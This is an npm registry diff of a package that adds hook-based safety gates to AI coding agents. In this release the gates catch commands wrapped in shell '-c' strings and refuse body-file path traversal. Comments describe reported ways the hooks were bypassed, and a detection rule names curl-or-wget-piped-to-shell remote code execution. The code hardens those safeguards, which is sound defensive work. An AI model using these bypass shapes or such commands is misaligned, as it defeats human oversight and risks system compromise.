@bookedsolid/rea 0.16.4 → 0.17.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli/init.js CHANGED
@@ -233,10 +233,28 @@ async function printCodexInstallAssist() {
233
233
  console.log(' Install via the Claude Code Codex plugin helper: `/codex:setup`,');
234
234
  console.log(' or set `review.codex_required: false` in .rea/policy.yaml to opt out.');
235
235
  }
236
+ function readExistingInstalledAt(policyPath) {
237
+ try {
238
+ if (!fs.existsSync(policyPath))
239
+ return undefined;
240
+ const raw = fs.readFileSync(policyPath, 'utf8');
241
+ const m = raw.match(/^installed_at:\s*"([^"]+)"\s*$/m);
242
+ return m ? m[1] : undefined;
243
+ }
244
+ catch {
245
+ return undefined;
246
+ }
247
+ }
236
248
  function writePolicyYaml(targetDir, config, layered) {
237
249
  const policyPath = path.join(targetDir, REA_DIR, POLICY_FILE);
238
250
  const installedBy = process.env.USER ?? os.userInfo().username ?? 'unknown';
239
- const installedAt = new Date().toISOString();
251
+ // 0.17.0 idempotency: preserve the original `installed_at` if a policy
252
+ // already exists. Without this, every `rea init` re-stamps the field
253
+ // and produces a non-idempotent diff. The first install date is the
254
+ // semantically correct value — re-runs reflect refreshes, not new
255
+ // installs. Falls back to `new Date()` only when the file is absent
256
+ // or unparseable.
257
+ const installedAt = readExistingInstalledAt(policyPath) ?? new Date().toISOString();
240
258
  const lines = [];
241
259
  lines.push(`# .rea/policy.yaml — managed by rea v${getPkgVersion()}`);
242
260
  lines.push(`# Edit carefully: tightening takes effect on next load; loosening requires human approval.`);
@@ -349,14 +367,36 @@ async function writeInstallManifest(targetDir, profile, fragmentInput) {
349
367
  sha256: sha256OfBuffer(buildFragment(fragmentInput)),
350
368
  source: 'claude-md',
351
369
  });
370
+ // 0.17.0 idempotency: preserve the original `installed_at` from a
371
+ // prior manifest if present. The first install date is the semantic
372
+ // truth — re-runs reflect refreshes, not new installs.
373
+ const manifestPath = path.join(targetDir, REA_DIR, 'install-manifest.json');
352
374
  const manifest = {
353
375
  version: getPkgVersion(),
354
376
  profile,
355
- installed_at: new Date().toISOString(),
377
+ installed_at: readExistingManifestInstalledAt(manifestPath) ?? new Date().toISOString(),
356
378
  files: entries,
357
379
  };
358
380
  return writeManifestAtomic(targetDir, manifest);
359
381
  }
382
+ function readExistingManifestInstalledAt(manifestPath) {
383
+ try {
384
+ if (!fs.existsSync(manifestPath))
385
+ return undefined;
386
+ const raw = fs.readFileSync(manifestPath, 'utf8');
387
+ const parsed = JSON.parse(raw);
388
+ if (typeof parsed === 'object' &&
389
+ parsed !== null &&
390
+ 'installed_at' in parsed &&
391
+ typeof parsed.installed_at === 'string') {
392
+ return parsed.installed_at;
393
+ }
394
+ }
395
+ catch {
396
+ // Fall through — caller stamps a fresh date.
397
+ }
398
+ return undefined;
399
+ }
360
400
  export async function runInit(options) {
361
401
  const targetDir = process.cwd();
362
402
  const reagentPolicyPath = detectReagentPolicy(targetDir);
@@ -11,6 +11,7 @@ declare const PolicySchema: z.ZodObject<{
11
11
  promotion_requires_human_approval: z.ZodBoolean;
12
12
  block_ai_attribution: z.ZodDefault<z.ZodBoolean>;
13
13
  blocked_paths: z.ZodArray<z.ZodString, "many">;
14
+ protected_writes: z.ZodOptional<z.ZodArray<z.ZodString, "many">>;
14
15
  protected_paths_relax: z.ZodDefault<z.ZodArray<z.ZodString, "many">>;
15
16
  notification_channel: z.ZodDefault<z.ZodString>;
16
17
  injection_detection: z.ZodOptional<z.ZodEnum<["block", "warn"]>>;
@@ -174,6 +175,7 @@ declare const PolicySchema: z.ZodObject<{
174
175
  blocked_paths: string[];
175
176
  protected_paths_relax: string[];
176
177
  notification_channel: string;
178
+ protected_writes?: string[] | undefined;
177
179
  injection_detection?: "block" | "warn" | undefined;
178
180
  injection?: {
179
181
  suspicious_blocks_writes?: boolean | undefined;
@@ -220,6 +222,7 @@ declare const PolicySchema: z.ZodObject<{
220
222
  promotion_requires_human_approval: boolean;
221
223
  blocked_paths: string[];
222
224
  block_ai_attribution?: boolean | undefined;
225
+ protected_writes?: string[] | undefined;
223
226
  protected_paths_relax?: string[] | undefined;
224
227
  notification_channel?: string | undefined;
225
228
  injection_detection?: "block" | "warn" | undefined;
@@ -160,11 +160,19 @@ const PolicySchema = z
160
160
  promotion_requires_human_approval: z.boolean(),
161
161
  block_ai_attribution: z.boolean().default(false),
162
162
  blocked_paths: z.array(z.string()),
163
- // 0.16.3 F7: opt-in relax list. Consumers can list rea-managed
164
- // hard-protected patterns they want unblocked (e.g. `.husky/` to
165
- // author their own husky hooks). The kill-switch invariants
166
- // (`.rea/HALT`, `.rea/policy.yaml`, `.claude/settings.json`) are
167
- // ignored if listed see hooks/_lib/protected-paths.sh.
163
+ // 0.16.5 F9 (helix-018 Option A): full policy-driven definition of
164
+ // the rea-managed write-protection list. When set, fully owns the
165
+ // protected set (kill-switch invariants are always added). When
166
+ // unset, defaults to the 5 historical patterns. Consumers who want
167
+ // to ADD a path (e.g. `.github/workflows/`) or remove non-invariant
168
+ // entries (e.g. `.husky/`) declare the full list here.
169
+ protected_writes: z.array(z.string()).optional(),
170
+ // 0.16.3 F7: opt-in subtractor. Removes entries from whatever the
171
+ // effective protected set is (default OR `protected_writes`).
172
+ // Kill-switch invariants (`.rea/HALT`, `.rea/policy.yaml`,
173
+ // `.claude/settings.json`) are silently dropped from the relax
174
+ // list — see hooks/_lib/protected-paths.sh. Both keys can coexist;
175
+ // `protected_paths_relax` runs AFTER `protected_writes`.
168
176
  protected_paths_relax: z.array(z.string()).default([]),
169
177
  notification_channel: z.string().default(''),
170
178
  injection_detection: z.enum(['block', 'warn']).optional(),
@@ -26,6 +26,7 @@ export declare const ProfileSchema: z.ZodObject<{
26
26
  promotion_requires_human_approval: z.ZodOptional<z.ZodBoolean>;
27
27
  block_ai_attribution: z.ZodOptional<z.ZodBoolean>;
28
28
  blocked_paths: z.ZodOptional<z.ZodArray<z.ZodString, "many">>;
29
+ protected_writes: z.ZodOptional<z.ZodArray<z.ZodString, "many">>;
29
30
  protected_paths_relax: z.ZodOptional<z.ZodArray<z.ZodString, "many">>;
30
31
  notification_channel: z.ZodOptional<z.ZodString>;
31
32
  injection_detection: z.ZodOptional<z.ZodEnum<["block", "warn"]>>;
@@ -52,6 +53,7 @@ export declare const ProfileSchema: z.ZodObject<{
52
53
  promotion_requires_human_approval?: boolean | undefined;
53
54
  block_ai_attribution?: boolean | undefined;
54
55
  blocked_paths?: string[] | undefined;
56
+ protected_writes?: string[] | undefined;
55
57
  protected_paths_relax?: string[] | undefined;
56
58
  notification_channel?: string | undefined;
57
59
  injection_detection?: "block" | "warn" | undefined;
@@ -68,6 +70,7 @@ export declare const ProfileSchema: z.ZodObject<{
68
70
  promotion_requires_human_approval?: boolean | undefined;
69
71
  block_ai_attribution?: boolean | undefined;
70
72
  blocked_paths?: string[] | undefined;
73
+ protected_writes?: string[] | undefined;
71
74
  protected_paths_relax?: string[] | undefined;
72
75
  notification_channel?: string | undefined;
73
76
  injection_detection?: "block" | "warn" | undefined;
@@ -48,6 +48,7 @@ export const ProfileSchema = z
48
48
  promotion_requires_human_approval: z.boolean().optional(),
49
49
  block_ai_attribution: z.boolean().optional(),
50
50
  blocked_paths: z.array(z.string()).optional(),
51
+ protected_writes: z.array(z.string()).optional(),
51
52
  protected_paths_relax: z.array(z.string()).optional(),
52
53
  notification_channel: z.string().optional(),
53
54
  injection_detection: z.enum(['block', 'warn']).optional(),
@@ -268,6 +268,7 @@ export interface Policy {
268
268
  promotion_requires_human_approval: boolean;
269
269
  block_ai_attribution: boolean;
270
270
  blocked_paths: string[];
271
+ protected_writes?: string[];
271
272
  protected_paths_relax: string[];
272
273
  notification_channel: string;
273
274
  injection_detection?: 'block' | 'warn';
@@ -51,6 +51,90 @@
51
51
  # do NOT honor `\` escapes; double-quoted spans treat `\"` as a literal
52
52
  # `"` and skip past it.
53
53
 
54
+ # Unwrap nested shell wrappers — `bash -c 'PAYLOAD'`, `sh -lc "PAYLOAD"`,
55
+ # `zsh -ic 'PAYLOAD'`, etc. Emits the input string AS-IS plus each inner
56
+ # PAYLOAD as a separate line. Pre-0.17.0 the splitter never parsed
57
+ # inside wrapped quotes, so `bash -c 'git push --force'` produced a
58
+ # single segment whose first token was `bash` — defeating every check
59
+ # that uses `any_segment_starts_with`. This helper makes the inner
60
+ # payload visible as its own segment, so every existing detection rule
61
+ # fires uniformly on wrapped and unwrapped commands.
62
+ #
63
+ # Closes helix-017 #1, #2, #3 (0.16.2):
64
+ # - `bash -lc 'git push --force origin HEAD'` → payload now seen by H1
65
+ # - `bash -c 'printf x > .rea/HALT'` → payload now seen by bash-gate
66
+ # - `bash -lc 'npm install some-package'` → payload now seen by audit-gate
67
+ #
68
+ # Recognized wrapper shape (case-insensitive shell name):
69
+ # (bash|sh|zsh|dash|ksh) [optional -flags...] (-c|-lc|-lic|-ic|-cl|-cli) (QUOTED_ARG)
70
+ #
71
+ # QUOTED_ARG can be single- or double-quoted. Single-quote bodies have no
72
+ # escape semantics. Double-quote bodies treat \" and \\ as literal
73
+ # escapes (per POSIX). Multiple wrappers per command-line are handled
74
+ # (e.g. `foo; bash -c 'bar' && sh -c 'baz'` emits both `bar` and `baz`).
75
+ #
76
+ # Limitation: ONE level of unwrapping. A wrapper inside a wrapper
77
+ # (`bash -c "bash -c 'innermost'"`) emits only the second-level payload
78
+ # (`bash -c 'innermost'`), not the third-level. This is enough for
79
+ # every consumer-reported bypass; deeper nesting can be added later
80
+ # without changing the contract.
81
+ _rea_unwrap_nested_shells() {
82
+ local cmd="$1"
83
+ printf '%s\n' "$cmd"
84
+ printf '%s' "$cmd" | awk '
85
+ BEGIN {
86
+ # Wrapper-prefix regex: shell-name + optional flag tokens + -c-style flag.
87
+ # Each flag token is `-` followed by 1+ letters and trailing space.
88
+ WRAP = "(^|[[:space:]&|;])(bash|sh|zsh|dash|ksh)([[:space:]]+-[a-zA-Z]+)*[[:space:]]+-(c|lc|lic|ic|cl|cli|li|il)[[:space:]]+"
89
+ }
90
+ {
91
+ rest = $0
92
+ while (length(rest) > 0) {
93
+ if (! match(rest, WRAP)) break
94
+ # Tail begins immediately after the matched wrapper prefix.
95
+ tail = substr(rest, RSTART + RLENGTH)
96
+ first = substr(tail, 1, 1)
97
+ if (first == "'\''") {
98
+ # Single-quoted body: no escape semantics; runs to next `'"'"'`.
99
+ body = substr(tail, 2)
100
+ end = index(body, "'\''")
101
+ if (end == 0) { rest = substr(tail, 2); continue }
102
+ payload = substr(body, 1, end - 1)
103
+ print payload
104
+ rest = substr(body, end + 1)
105
+ continue
106
+ }
107
+ if (first == "\"") {
108
+ # Double-quoted body: \" and \\ are literal escapes.
109
+ body = substr(tail, 2)
110
+ n = length(body)
111
+ j = 1
112
+ out = ""
113
+ closed = 0
114
+ while (j <= n) {
115
+ c = substr(body, j, 1)
116
+ if (c == "\\" && j < n) {
117
+ nxt = substr(body, j + 1, 1)
118
+ if (nxt == "\"" || nxt == "\\") { out = out nxt; j += 2; continue }
119
+ out = out c nxt
120
+ j += 2
121
+ continue
122
+ }
123
+ if (c == "\"") { closed = j; break }
124
+ out = out c
125
+ j++
126
+ }
127
+ if (closed == 0) { rest = substr(tail, 2); continue }
128
+ print out
129
+ rest = substr(body, closed + 1)
130
+ continue
131
+ }
132
+ # Non-quoted argument — proceed past the matched prefix only.
133
+ rest = tail
134
+ }
135
+ }'
136
+ }
137
+
54
138
  # Split $1 on shell command separators. Emits one segment per line on
55
139
  # stdout (empty segments preserved). Used by both higher-level helpers
56
140
  # below; not generally called by hooks directly.
@@ -103,7 +187,14 @@ _rea_split_segments() {
103
187
  # splitting so quoted prose no longer over-splits and anchors trigger
104
188
  # words at the head of phantom segments. See header comment for the
105
189
  # full rationale.
106
- printf '%s' "$cmd" \
190
+ #
191
+ # 0.17.0 helix-017 #1-#3 fix: unwrap `bash -c 'PAYLOAD'` style
192
+ # wrappers BEFORE the quote-mask + split passes. The unwrap step
193
+ # emits the original line plus each inner PAYLOAD as separate
194
+ # records; the existing pipeline then quote-masks and splits each
195
+ # record independently. Inner payload anchors trigger words for the
196
+ # `any_segment_*` checks downstream.
197
+ _rea_unwrap_nested_shells "$cmd" \
107
198
  | awk '
108
199
  BEGIN {
109
200
  SC = "__REA_SEP_SC_a8f2c1__"
@@ -75,8 +75,16 @@ _rea_is_kill_switch() {
75
75
  return 1
76
76
  }
77
77
 
78
- # Load the effective list, applying `protected_paths_relax` from policy.
78
+ # Load the effective list, applying `protected_writes` (full override
79
+ # from policy) and `protected_paths_relax` (subtractor) from policy.
79
80
  # Sources policy-read.sh on demand so this lib stays self-contained.
81
+ #
82
+ # 0.17.0 helix-018 Option A: `protected_writes` lets consumers fully
83
+ # define the protected list. When set, replaces the hardcoded default;
84
+ # kill-switch invariants are always added back regardless. When unset,
85
+ # defaults to REA_PROTECTED_PATTERNS_FULL (the historical 5 patterns).
86
+ # `protected_paths_relax` then subtracts from whatever the effective
87
+ # set is (kill-switch invariants are non-relaxable).
80
88
  _rea_load_protected_patterns() {
81
89
  if [ "$_REA_PROTECTED_PATTERNS_LOADED" = "1" ]; then
82
90
  return 0
@@ -89,14 +97,71 @@ _rea_load_protected_patterns() {
89
97
  source "${BASH_SOURCE[0]%/*}/policy-read.sh" 2>/dev/null || true
90
98
  fi
91
99
 
100
+ # Read both policy keys.
101
+ local writes_list=()
92
102
  local relax_list=()
103
+ local protected_writes_set=0
93
104
  if command -v policy_list >/dev/null 2>&1; then
105
+ # `protected_writes`: detect "set but empty" vs "unset" via a probe.
106
+ # policy_list returns nothing for both cases, so we use a sentinel
107
+ # check on the YAML key existence via a separate probe.
108
+ local pw_present
109
+ pw_present=$(policy_scalar "protected_writes" 2>/dev/null || true)
110
+ # If the key is a list (yq returns "null" or empty for scalar reads
111
+ # of a list), policy_list reads it. We detect "key exists" by
112
+ # checking either policy_scalar's return OR policy_list's output.
113
+ while IFS= read -r entry; do
114
+ [ -z "$entry" ] && continue
115
+ writes_list+=("$entry")
116
+ protected_writes_set=1
117
+ done < <(policy_list "protected_writes" 2>/dev/null || true)
118
+ # If pw_present is "[]" (empty array) — policy_list returns nothing
119
+ # but the key IS set. policy_scalar of a list returns "null" or
120
+ # the literal `[]`. Treat any of those as "set".
121
+ case "$pw_present" in
122
+ '[]'|'null') protected_writes_set=1 ;;
123
+ esac
124
+
94
125
  while IFS= read -r entry; do
95
126
  [ -z "$entry" ] && continue
96
127
  relax_list+=("$entry")
97
128
  done < <(policy_list "protected_paths_relax" 2>/dev/null || true)
98
129
  fi
99
130
 
131
+ # Compose the BASE list:
132
+ # - If `protected_writes` set in policy: that list, plus kill-switch
133
+ # invariants always added (deduped).
134
+ # - Else: REA_PROTECTED_PATTERNS_FULL (hardcoded historical default).
135
+ local base_list=()
136
+ if [ "$protected_writes_set" = "1" ]; then
137
+ local w
138
+ for w in "${writes_list[@]+"${writes_list[@]}"}"; do
139
+ base_list+=("$w")
140
+ done
141
+ # Add kill-switch invariants if not already present.
142
+ local inv inv_lc found
143
+ for inv in "${REA_KILL_SWITCH_INVARIANTS[@]}"; do
144
+ inv_lc=$(printf '%s' "$inv" | tr '[:upper:]' '[:lower:]')
145
+ found=0
146
+ local b b_lc
147
+ for b in "${base_list[@]+"${base_list[@]}"}"; do
148
+ b_lc=$(printf '%s' "$b" | tr '[:upper:]' '[:lower:]')
149
+ if [[ "$b_lc" == "$inv_lc" ]]; then
150
+ found=1
151
+ break
152
+ fi
153
+ done
154
+ if [ "$found" = "0" ]; then
155
+ base_list+=("$inv")
156
+ fi
157
+ done
158
+ else
159
+ local pat
160
+ for pat in "${REA_PROTECTED_PATTERNS_FULL[@]}"; do
161
+ base_list+=("$pat")
162
+ done
163
+ fi
164
+
100
165
  # Validate relax entries: any kill-switch invariant in the list is
101
166
  # silently dropped from "permitted to relax" but emits a stderr
102
167
  # advisory so the operator can see why their relax didn't take
@@ -112,10 +177,10 @@ _rea_load_protected_patterns() {
112
177
  fi
113
178
  done
114
179
 
115
- # Build the effective list: every FULL entry that is NOT in the
180
+ # Build the effective list: every BASE entry that is NOT in the
116
181
  # relaxed set (case-insensitive comparison).
117
182
  local pat pat_lc rentry rentry_lc relaxed
118
- for pat in "${REA_PROTECTED_PATTERNS_FULL[@]}"; do
183
+ for pat in "${base_list[@]+"${base_list[@]}"}"; do
119
184
  pat_lc=$(printf '%s' "$pat" | tr '[:upper:]' '[:lower:]')
120
185
  relaxed=0
121
186
  for rentry in "${relaxed_set[@]+"${relaxed_set[@]}"}"; do
@@ -257,8 +257,21 @@ fi
257
257
  # in-quote pipes are replaced with a sentinel that the regex doesn't
258
258
  # match. Real curl-pipe-shell still matches because the pipe between
259
259
  # `curl https://x` and `sh` is outside any quote span.
260
- H12_MASKED=$(quote_masked_cmd "$CMD")
261
- if printf '%s' "$H12_MASKED" | grep -qiE '(curl|wget)[^|]*\|[[:space:]]*(sudo[[:space:]]+)?(bash|sh|zsh|fish)'; then
260
+ # 0.17.0 helix-017 #1 fix: also scan inner payloads of nested-shell
261
+ # wrappers (`zsh -c "curl https://x | sh"`). The unwrap helper emits
262
+ # the original command + each inner payload as separate lines; we
263
+ # quote-mask each line independently and grep. If ANY emitted line
264
+ # contains a real curl-pipe-shell, fire H12.
265
+ H12_HIT=0
266
+ while IFS= read -r _h12_line; do
267
+ [ -z "$_h12_line" ] && continue
268
+ _h12_masked=$(quote_masked_cmd "$_h12_line")
269
+ if printf '%s' "$_h12_masked" | grep -qiE '(curl|wget)[^|]*\|[[:space:]]*(sudo[[:space:]]+)?(bash|sh|zsh|fish)'; then
270
+ H12_HIT=1
271
+ break
272
+ fi
273
+ done < <(_rea_unwrap_nested_shells "$CMD")
274
+ if [ "$H12_HIT" = "1" ]; then
262
275
  add_high \
263
276
  "curl/wget piped to shell — remote code execution" \
264
277
  "Executing remote scripts without inspection is a major supply chain risk." \
@@ -58,14 +58,27 @@ extract_packages() {
58
58
  # outer command — but they're never the FIRST token on a segment, so
59
59
  # the anchor rejects them.
60
60
 
61
- # Tokenize on shell separators. Each `IFS=` entry becomes a separate
62
- # segment we can anchor against. We use bash's `mapfile` with a sed
63
- # to inject newlines at separators; awk-based splitting handles the
64
- # quoting heuristic well enough for the realistic cases (agent-issued
65
- # commands rarely have separators inside single-quoted strings that
66
- # would confuse this).
61
+ # 0.17.0 helix-017 #3: unwrap nested-shell wrappers (`bash -c 'PAYLOAD'`,
62
+ # `sh -lc "PAYLOAD"`, etc.) before splitting so the inner install
63
+ # command becomes a segment that anchors against the install-pattern
64
+ # check below. Pre-fix `bash -lc 'npm install pkg'` produced a single
65
+ # segment whose first token was `bash` — install-detection skipped.
66
+ # 0.17.0 helix-019 #3: delegate splitting to the shared
67
+ # `_rea_split_segments` so this gate inherits the full separator set
68
+ # (including bare `&` background-process operator added in 0.16.1)
69
+ # and the quote-mask that prevents over-fire from in-quote separators.
70
+ # Pre-fix the local segmenter splat on `|||&&|;|` only, missing bare
71
+ # `&` — `echo warmup & pnpm add lodash` stayed merged into one segment
72
+ # and the install-pattern leading-token check skipped it entirely.
67
73
  local segments
68
- segments=$(printf '%s\n' "$cmd" | sed -E 's/(\|\||\&\&|;|\|)/\n/g')
74
+ if [ -f "$(dirname "$0")/_lib/cmd-segments.sh" ]; then
75
+ # shellcheck source=_lib/cmd-segments.sh
76
+ source "$(dirname "$0")/_lib/cmd-segments.sh"
77
+ segments=$(_rea_split_segments "$cmd")
78
+ else
79
+ # Fallback (lib unavailable): legacy local splitter preserved.
80
+ segments=$(printf '%s\n' "$cmd" | sed -E 's/(\|\||\&\&|;|\||\&)/\n/g')
81
+ fi
69
82
 
70
83
  while IFS= read -r segment; do
71
84
  # Trim leading whitespace.
@@ -118,37 +118,87 @@ REA_ROOT="${CLAUDE_PROJECT_DIR:-$(pwd)}"
118
118
  BODY_FILE_TEXT=""
119
119
  _extract_body_file_paths() {
120
120
  # Emit each `--body-file PATH` and `-F PATH` argument on its own line.
121
- # Skips the stdin form (`-`) and `-F=foo`/`--body-file=foo` (handled
122
- # by a separate awk pass below).
121
+ # Skips the stdin form (`-`) and emits the path verbatim from the
122
+ # equals-form (`--body-file=PATH` / `-F=PATH`).
123
+ #
124
+ # 0.17.0 helix-019 #2: quote-aware tokenization. The pre-fix awk split
125
+ # on whitespace, breaking `--body-file "security notes.md"` into three
126
+ # tokens — the hook then tried to read `"security` (with literal
127
+ # leading quote), failed, and silently skipped the body scan. Now we
128
+ # walk the string with quote-state awareness: whitespace inside
129
+ # matched `"..."` / `'...'` spans is part of the token, not a
130
+ # separator. Single-quote spans have no escape semantics; double-quote
131
+ # spans treat `\"` and `\\` as literal escapes (POSIX shell rules).
123
132
  printf '%s' "$COMMAND" \
124
133
  | awk '
125
- BEGIN { skip_next = 0; flag_was = "" }
134
+ BEGIN { skip_next = 0 }
135
+ function strip_outer_quotes(s, n, first, last) {
136
+ n = length(s)
137
+ if (n < 2) return s
138
+ first = substr(s, 1, 1)
139
+ last = substr(s, n, 1)
140
+ if ((first == "\"" && last == "\"") || (first == "'\''" && last == "'\''")) {
141
+ return substr(s, 2, n - 2)
142
+ }
143
+ return s
144
+ }
145
+ function emit_token(t) {
146
+ if (skip_next) {
147
+ skip_next = 0
148
+ if (t == "-" || t == "") return
149
+ t = strip_outer_quotes(t)
150
+ print t
151
+ return
152
+ }
153
+ if (t == "--body-file" || t == "-F") { skip_next = 1; return }
154
+ if (t ~ /^--body-file=/) {
155
+ v = substr(t, length("--body-file=") + 1)
156
+ v = strip_outer_quotes(v)
157
+ if (v != "" && v != "-") print v
158
+ }
159
+ if (t ~ /^-F=/) {
160
+ v = substr(t, length("-F=") + 1)
161
+ v = strip_outer_quotes(v)
162
+ if (v != "" && v != "-") print v
163
+ }
164
+ }
126
165
  {
127
- n = split($0, toks, /[[:space:]]+/)
128
- for (i = 1; i <= n; i++) {
129
- t = toks[i]
130
- if (skip_next) {
131
- skip_next = 0
132
- if (t == "-" || t == "") continue
133
- # Strip surrounding quotes from the token if present.
134
- gsub(/^["'"'"']/, "", t)
135
- gsub(/["'"'"']$/, "", t)
136
- print t
166
+ line = $0
167
+ n = length(line)
168
+ i = 1
169
+ tok = ""
170
+ mode = 0 # 0=plain, 1=double-quoted, 2=single-quoted
171
+ while (i <= n) {
172
+ ch = substr(line, i, 1)
173
+ if (mode == 0) {
174
+ if (ch == " " || ch == "\t") {
175
+ if (tok != "") { emit_token(tok); tok = "" }
176
+ i++; continue
177
+ }
178
+ if (ch == "\"") { mode = 1; tok = tok ch; i++; continue }
179
+ if (ch == "'\''") { mode = 2; tok = tok ch; i++; continue }
180
+ tok = tok ch
181
+ i++
137
182
  continue
138
183
  }
139
- if (t == "--body-file" || t == "-F") { skip_next = 1; continue }
140
- # Equals form.
141
- if (t ~ /^--body-file=/) {
142
- v = substr(t, length("--body-file=") + 1)
143
- gsub(/^["'"'"']/, "", v); gsub(/["'"'"']$/, "", v)
144
- if (v != "" && v != "-") print v
145
- }
146
- if (t ~ /^-F=/) {
147
- v = substr(t, length("-F=") + 1)
148
- gsub(/^["'"'"']/, "", v); gsub(/["'"'"']$/, "", v)
149
- if (v != "" && v != "-") print v
184
+ if (mode == 1) {
185
+ if (ch == "\\" && i < n) {
186
+ nxt = substr(line, i + 1, 1)
187
+ tok = tok ch nxt
188
+ i += 2
189
+ continue
190
+ }
191
+ if (ch == "\"") { mode = 0; tok = tok ch; i++; continue }
192
+ tok = tok ch
193
+ i++
194
+ continue
150
195
  }
196
+ # mode == 2
197
+ if (ch == "'\''") { mode = 0; tok = tok ch; i++; continue }
198
+ tok = tok ch
199
+ i++
151
200
  }
201
+ if (tok != "") emit_token(tok)
152
202
  }'
153
203
  }
154
204
  while IFS= read -r body_path; do
@@ -180,12 +230,24 @@ while IFS= read -r body_path; do
180
230
  esac
181
231
  done
182
232
  resolved="/$(IFS=/; printf '%s' "${_bf_parts[*]}")"
183
- # If the raw path used `..` AND the resolved form escapes REA_ROOT,
184
- # refuse that's the obfuscation shape we care about. A file under
185
- # /tmp or /var/folders without `..` segments is fine.
233
+ # 0.17.0 helix-019 #1: HARD REFUSAL on traversal escaping REA_ROOT.
234
+ # Pre-fix the gate logged "skipping body scan" and exited 0 every
235
+ # sensitive payload at the resolved external path bypassed the
236
+ # disclosure check. The traversal-out-of-root shape exists ONLY to
237
+ # obfuscate; legitimate workflows pass absolute tmpfile paths
238
+ # (`/tmp/...`, `/var/folders/...`) without `..` segments.
186
239
  if [[ "$resolved" != "$REA_ROOT" && "$resolved" != "$REA_ROOT"/* ]]; then
187
- printf 'security-disclosure-gate: --body-file path uses `..` traversal escaping project root; skipping body scan\n' >&2
188
- continue
240
+ {
241
+ printf 'SECURITY DISCLOSURE GATE: --body-file path traversal escapes project root\n'
242
+ printf '\n'
243
+ printf ' Path: %s\n' "$raw_path"
244
+ printf ' Resolved: %s\n' "$resolved"
245
+ printf '\n'
246
+ printf ' Rule: --body-file paths whose canonical form uses `..` segments to\n'
247
+ printf ' escape REA_ROOT are refused. Move the file inside the project\n'
248
+ printf ' tree, or paste the body inline via --body.\n'
249
+ } >&2
250
+ exit 2
189
251
  fi
190
252
  fi
191
253
  if [[ ! -r "$resolved" ]]; then
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@bookedsolid/rea",
3
- "version": "0.16.4",
3
+ "version": "0.17.0",
4
4
  "description": "Agentic governance layer for Claude Code — policy enforcement, hook-based safety gates, audit logging, and Codex-integrated adversarial review for AI-assisted projects",
5
5
  "license": "MIT",
6
6
  "author": "Booked Solid Technology <oss@bookedsolid.tech> (https://bookedsolid.tech)",